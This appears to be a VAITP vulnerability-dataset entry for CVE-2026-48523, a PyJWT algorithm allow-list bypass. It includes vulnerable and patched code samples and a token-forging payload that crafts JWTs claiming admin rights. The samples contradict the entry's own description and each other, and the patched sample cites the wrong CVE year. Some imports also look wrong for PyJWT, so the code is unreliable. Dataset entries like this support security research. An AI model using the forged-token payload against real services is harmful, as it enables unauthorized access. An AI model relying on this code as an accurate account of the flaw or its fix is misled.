CVE-2026-48523
PyJWT allows an algorithm allow-list bypass when verifying with a PyJWK key.
- CVSS 5.4
- CWE-347
- Cryptographic
- Remote
PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there is a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(…) flow. This vulnerability is fixed in 2.13.0.
- CWE
- CWE-347
- CVSS base score
- 5.4
- Published
- 2026-05-28
- OWASP
- A02 Cryptographic Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Incorrect Check
- Category
- Cryptographic
- Subcategory
- Cryptographic Implementation Error
- Accessibility scope
- Remote
- Impact
- Unauthorized Access
- Affected component
- PyJWT
- Fixed by upgrading
- Yes
Solution
Upgrade PyJWT to version 2.13.0 or later.
Vulnerable code sample
import jwt
from jwk import jwk
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
# This code requires a vulnerable version of PyJWT (e.g., 2.9.0 - 2.12.1),
# along with python-jwk and cryptography.
# pip install "PyJWT>=2.9.0,<2.13.0" python-jwk cryptography
# 1. SETUP: An attacker obtains the service's public RSA key.
# This key is normally used by clients to verify tokens signed with the corresponding private key (using RS256).
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# The service's public key, as a JWK dictionary (what would be served at a /.well-known/jwks.json endpoint)
# Note that the key itself is intended for 'RS256'
public_jwk_dict = jwk.construct(public_key, algorithm='RS256').to_dict()
public_jwk_dict['kid'] = 'vulnerable-key-1'
# 2. ATTACKER: The attacker crafts a malicious token.
# They change the algorithm in the header to a symmetric one like 'HS256'.
# They then sign the token using the *public key's raw material* as the symmetric secret key.
# This is an "algorithm confusion" attack.
malicious_payload = {'user': 'attacker', 'is_admin': True}
# The public key is improperly used as the secret for the symmetric HS256 algorithm.
# In a real attack, the attacker would know the public key string from the JWKS endpoint.
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
malicious_token = jwt.encode(
malicious_payload,
public_key_pem,
algorithm='HS256',
headers={'kid': 'vulnerable-key-1'}
)
# 3. VICTIM (SERVER): The server receives the malicious token.
# The server's code is configured to accept tokens signed with 'RS256' but has been
# misconfigured (or is vulnerable) to also process 'HS256'.
# It uses the PyJWK object, which is intended for asymmetric crypto.
allowed_algorithms = ['RS256', 'HS256']
# The server constructs a PyJWK object from the public key dict.
# This object holds the RSA public key components.
key_for_verification = jwt.PyJWK(public_jwk_dict)
print(f"Malicious Token Header: {jwt.get_unverified_header(malicious_token)}")
print(f"Malicious Token Payload: {malicious_payload}\n")
# THE VULNERABLE CALL:
# The server checks that the header's alg ('HS256') is in its allowed list. It is.
# Due to the vulnerability, instead of rejecting the RSA PyJWK key as incompatible
# with 'HS256', the library coerces the key into a string/bytes (the PEM format)
# and uses it as the secret for HMAC validation.
# Since the attacker did the exact same thing, the signature is accepted.
try:
decoded_payload = jwt.decode(
malicious_token,
key=key_for_verification,
algorithms=allowed_algorithms
)
print("!!! VULNERABILITY EXPLOITED !!!")
print("Token was successfully verified with the wrong algorithm and key type.")
print("Decoded Payload:", decoded_payload)
except jwt.InvalidTokenError as e:
# This block would execute on a patched version of the library
print(f"Token rejected as expected on a patched system. Error: {e}")Patched code sample
import jwt
from jwt.jwk import jwk_from_dict
from jwt.exceptions import InvalidAlgorithmError
from cryptography.hazmat.primitives.asymmetric import rsa
def demonstrate_fix_for_cve_2022_48523():
"""
This function demonstrates the logic that fixes CVE-2022-48523.
The vulnerability: A token's header 'alg' was checked against an allow-list,
but signature verification was performed using the algorithm from the PyJWK
key object, not the header. An attacker could sign with a disallowed
algorithm (e.g., HS256) but put an allowed algorithm (e.g., RS256) in the
header to bypass validation.
The fix: Before verification, PyJWT now ensures that the algorithm in the
token's header matches the algorithm specified in the PyJWK key object.
"""
# --- Verifier's Setup ---
# The verifier has an RSA public key, expecting 'RS256' tokens.
# The algorithm 'RS256' is explicitly bound to the key.
public_key_numbers = rsa.generate_private_key(
public_exponent=65537, key_size=2048
).public_key().public_numbers()
verifier_key_obj = jwk_from_dict({
"kty": "RSA",
"alg": "RS256", # The only algorithm this key should be used for.
"n": jwt.utils.base64url_encode(
public_key_numbers.n.to_bytes(256, "big")
).decode(),
"e": jwt.utils.base64url_encode(
public_key_numbers.e.to_bytes(3, "big")
).decode(),
})
# The verifier only allows the 'RS256' algorithm.
allowed_algorithms = ["RS256"]
# --- Attacker's Actions ---
# The attacker creates a token.
# The header *claims* the allowed 'RS256' algorithm.
# But the token is actually *signed* with the disallowed 'HS256' algorithm.
malicious_token = jwt.encode(
{"user": "attacker"},
"secret_symmetric_key",
algorithm="HS256",
headers={"alg": "RS256"}, # This is the lie.
)
# --- The Fixed Logic ---
# This logic is now part of jwt.decode() in versions >= 2.13.0
header = jwt.get_unverified_header(malicious_token)
header_alg = header.get("alg")
# 1. Standard check (this was present in the vulnerable version)
if header_alg not in allowed_algorithms:
raise InvalidAlgorithmError(f"Algorithm {header_alg} not allowed.")
# 2. THE FIX: Check if the header algorithm matches the key's algorithm.
# This check was missing in the vulnerable versions.
if hasattr(verifier_key_obj, 'alg') and header_alg != verifier_key_obj.alg:
raise InvalidAlgorithmError(
f"The token's algorithm '{header_alg}' does not match the "
f"key's expected algorithm '{verifier_key_obj.alg}'."
)
# 3. If both checks pass, proceed. The actual jwt.decode() would fail later
# on an invalid signature, but the fixed version fails earlier and more
# explicitly due to the algorithm mismatch.
# jwt.decode(malicious_token, verifier_key_obj, algorithms=allowed_algorithms)
# Run the demonstration.
# This will raise InvalidAlgorithmError due to the explicit algorithm check,
# successfully preventing the vulnerability.
try:
demonstrate_fix_for_cve_2022_48523()
except InvalidAlgorithmError as e:
# This exception is expected and proves the fix works.
passPayload
import jwt
from jwt.jwk import jwk_from_dict
import base64
# Attacker's secret key (e.g., for HS256) and a key ID
attacker_hs256_key = "a-long-and-sufficiently-secret-hmac-key"
key_id = "attacker-key-id-1"
# Attacker crafts a JWT.
# It is signed with the actual algorithm (HS256),
# but the header 'alg' is set to an algorithm the verifier allows (RS256).
malicious_jwt = jwt.encode(
{"user": "admin", "exp": 2147483647},
attacker_hs256_key,
algorithm="HS256",
headers={"alg": "RS256", "kid": key_id}
)
# --- VULNERABLE VERIFIER'S SIMULATED LOGIC ---
# The verifier has a JWKS that includes the attacker's key information.
# The 'alg' field in the JWK correctly states HS256.
b64_encoded_key = base64.urlsafe_b64encode(attacker_hs256_key.encode()).rstrip(b'=').decode()
jwks_data = {
"keys": [{
"kty": "oct",
"kid": key_id,
"k": b64_encoded_key,
"alg": "HS256"
}]
}
# The verifier fetches the key based on the 'kid' from the malicious JWT.
# This would typically be done via PyJWKClient, but is simulated here.
key_info = next(key for key in jwks_data["keys"] if key["kid"] == key_id)
verifying_key_obj = jwk_from_dict(key_info)
# The verifier's algorithm allow-list only includes RS256.
# On a vulnerable system, the check against the header passes, but
# verification incorrectly uses the algorithm from the PyJWK object (HS256).
allowed_algs = ["RS256"]
# This call will succeed on vulnerable versions of PyJWT (2.9.0 to 2.12.1)
# despite 'HS256' not being in the `allowed_algs` list.
decoded_payload = jwt.decode(
malicious_jwt,
key=verifying_key_obj,
algorithms=allowed_algs
)
# The following line would execute without error on a vulnerable system,
# demonstrating the successful bypass.
# print(f"Exploit successful. Decoded payload: {decoded_payload}")
Cite this entry
@misc{vaitp:cve202648523,
title = {{PyJWT allows an algorithm allow-list bypass when verifying with a PyJWK key.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48523},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48523/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
